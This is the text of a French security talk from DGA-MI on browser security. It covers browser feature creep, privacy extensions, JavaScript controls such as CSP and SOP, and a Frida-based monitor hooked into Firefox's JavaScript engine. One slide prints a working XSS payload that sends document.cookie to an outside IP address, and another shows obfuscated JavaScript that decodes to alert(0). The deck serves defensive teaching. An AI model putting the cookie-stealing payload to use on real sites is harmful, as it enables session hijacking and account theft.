26
CONSTRUISONS ENSEMBLE LA DÉFENSE DE DEMAIN NAVIGATEURS & SÉCURITÉ

NAVIGATEURS & SÉCURITÉ

  • Upload
    others

  • View
    2

  • Download
    0

Embed Size (px)

Citation preview

Page 1: NAVIGATEURS & SÉCURITÉ

CONSTRUISONS ENSEMBLE

LA DÉFENSE DE DEMAIN

NAVIGATEURS & SÉCURITÉ

Page 2: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

2

>WHOAMI

▪ Responsable de laboratoire à DGA-MI

▪ Publications :

• MISC 49: Transformer une BDD Oracle en Proxy Web à partir d’une Injection SQL

• SSTIC 2013: Fingerprinting de Navigateurs

▪ Chercheur associé à l’IMT Atlantique

▪ Membre du CO BotConf

Page 3: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

3

BROWSERS !

Page 4: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

4

EVOLUTION DES NAVIGATEURSwww.evolutionoftheweb.com

Page 5: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

5

« BROWSER WAR »

▪ Course effrénée aux fonctionnalités

• Discriminant marketing vis-à-vis des concurrents

• Implémentation sans réflexion vis-à-vis de la sécurité

▪ Compte twitter dédié au suivis de ces fonctionnalités

•@intendtoship

Page 6: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

6

CONSÉQUENCES

▪ Surface d’attaque accrue du navigateur

▪ Possibilités de fingerprinting plus

importantes

▪ Casse tête pour les développeurs web

• Compatibilité Inter-navigateurs

▪ Mécanismes de sécurité à la traine

• Et pas toujours disponible d’un navigateur à l’autre…

Page 7: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

7

EX: JAVASCRIPT VS CSP

Page 8: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

8

PRIVACY: GHOSTERY (& CIE)

▪ Blocage par blacklist des domaines de tracking

• Et c’est tout…

▪ Ne peuvent guère faire plus

• Restriction des capacités d’action des extensions

▪Modèle WebExtension de Chrome et importé dans Firefox

• Impossible d’accéder au JavaScript d’une page avant son chargement dans le moteur JS.

▪ Pour faire pareil sur votre réseau:

• Récupérer la liste des domaines & urls associés dans les extensions

• Blacklistez les sur vos Proxy Web

Extensions pour la privacy sur les navigateurs

Page 9: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

9

PRIVACY: FIREFOX FOCUSAndroid & iOS uniquement

Page 10: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

10

SECURITY:ANTI-VIRUS & NAVIGATEURSSource: publication Google & CloudFlare

Page 11: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

11

EXEMPLE DE MENACEUne XSS dans le navigateur

Parser HTMLInterpreteur

JavaScript

HTTP / HTTPS

Document Object Model

11

Document.cookie

<img src=x

onerror=javascript:eval("document.write('<img

src=http://192.168.80.146/?cookie='+document.cookie+

'/>');document.close();")/>

document.write('<img src=http://192.168.80.146/?cookie='+document.cookie+'/>');

document.close();<img src=http://192.168.80.146/?cookie=PHPSSID=abz34en54bs3 />

http://192.168.80.146/?cookie=PHPSSID=abz34en54bs3

Page 12: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

12

UN DISPOSITIF DE SÉCURITÉ IDÉAL

▪ Fonctionne sur tous les navigateurs

▪ Sans les modifier

• Afin de ne pas rajouter de bugs / failles

▪ Sans casser les mécanismes de sécurité existants

• Pas de MitM ni dégradation de SSL

Page 13: NAVIGATEURS & SÉCURITÉ

NOM DE LA DIRECTION ÉMETTRICE

31/01/2018

13

JAVASCRIPT & SÉCURITÉ

Prenons un peu de recul

Page 14: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

14

JAVASCRIPT

▪ Un grand nombres d’attaques contre les navigateurs

reposent sur JavaScript

• C’est aussi vrai pour les PDF…

▪ Le JavaScript « manipule » le navigateur via plusieurs

API

• Le DOM est la plus connue d’entre elles…

▪ S’execute depuis de nombreux endroits dans le code

HTML

Page 15: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

15

JS EST OBFUSCATION-FRIENDLY

▪ $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_

$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+

"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$__

_:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$]

)+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])

+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$._

_+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$

=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_

]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")

())();

Oui, ceci est un alert(0);

Page 16: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

16

COMMENT CONTRÔLER JAVASCRIPT

▪ SOP

▪ CORS

▪ CSP

▪ X-Frame-Option

Et ses copains du web dans un navigateur

Page 17: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

17

IL MANQUE UN TRUC…

▪ Nativement dans le navigateur ?

• Il faut patcher/recompiler T_T

▪ En JavaScript:

• ES6 Proxy

▪Permet d’encapsuler un objet JavaScript

▪ Il faut être le premier à s’exécuter

▪Seulement si le moteur supporte le standard ES6

• Moniteurs de sécurité JavaScript (en JavaScript)

▪ Il faut être le premier à s’exécuter

Comment contrôler l’accès aux API JavaScript ?

Page 18: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

18

MISE EN OEUVRE

▪ Se placer à

l’entrée du

moteur

JavaScript

▪ Ajouter le code

de monitoring

aux bons

endroits

En théorie ça doit marcher…

Parser HTMLInterpreteur

JavaScript

HTTP / HTTPS

Document Object Model

Page 19: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

19

FRIDA.RE

▪ Outil d’analyse dynamique pour le reverse-engineering

▪ Basé sur le moteur JS V8 de Chrome

▪ Permet de Hooker des fonctions sur de multiples

plateformes

•Windows, Linux, Android, iOS

▪ API Python

La cousine d’IDA ?

Page 20: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

20

PIMP MY FIREFOXYO DAWG, I HEARD YOU LIKE JAVASCRIPT ?

SO I’VE PUT A JAVASCRIPT ENGINE IN YOUR JAVASCRIPT

ENGINE SO YOU CAN EXECUTE JAVASCRIPT WHILE YOU

EXECUTE JAVASCRIPT

Page 21: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

21

EN PRATIQUEParfois ça crash…

Page 22: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

22

LES PROBLÈMES RENCONTRÉS

▪ Complexité du code d’un navigateur

• Pas beaucoup de doc sur les internals de SpiderMonkey

▪Dxr.mozilla.org est votre meilleur ami

▪ Hook du mauvais composant dans le moteur

• Génère beaucoup d’appels = saturation des I/O entre V8 & Python

▪ Il faut remonter plus haut dans le code

▪ Mauvaise interprétation de la structure de l’objet au bout

du pointeur

• Lecture d’une zone mémoire invalide = crash

▪Eviter de hooker des objets complexes & polymorphes

Et résolus

Page 23: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

23

LES TRUCS COOLS

▪ Symboles de debug disponibles

• Merci Mozilla

▪ Source lisible et facilement navigable

• Merci Mozilla & vive DXR

▪ Support Multi-Process de Firefox

• On ne crash que le contenu de l’onglet et pas le navigateur.

▪ Simplicité & Stabilité de Frida

• Merci Frida.re

Page 24: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

24

DEMO

Page 25: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

25

PERSPECTIVES

▪ Support multi-navigateurs

▪ Moteur de déobfuscation JS

▪ Mécanisme de politiques de sécurité JS générique

• Si vous manquez d’idées de thèse ou de stage…

Page 26: NAVIGATEURS & SÉCURITÉ

DGA-MI

31/01/2018

26

QUESTIONS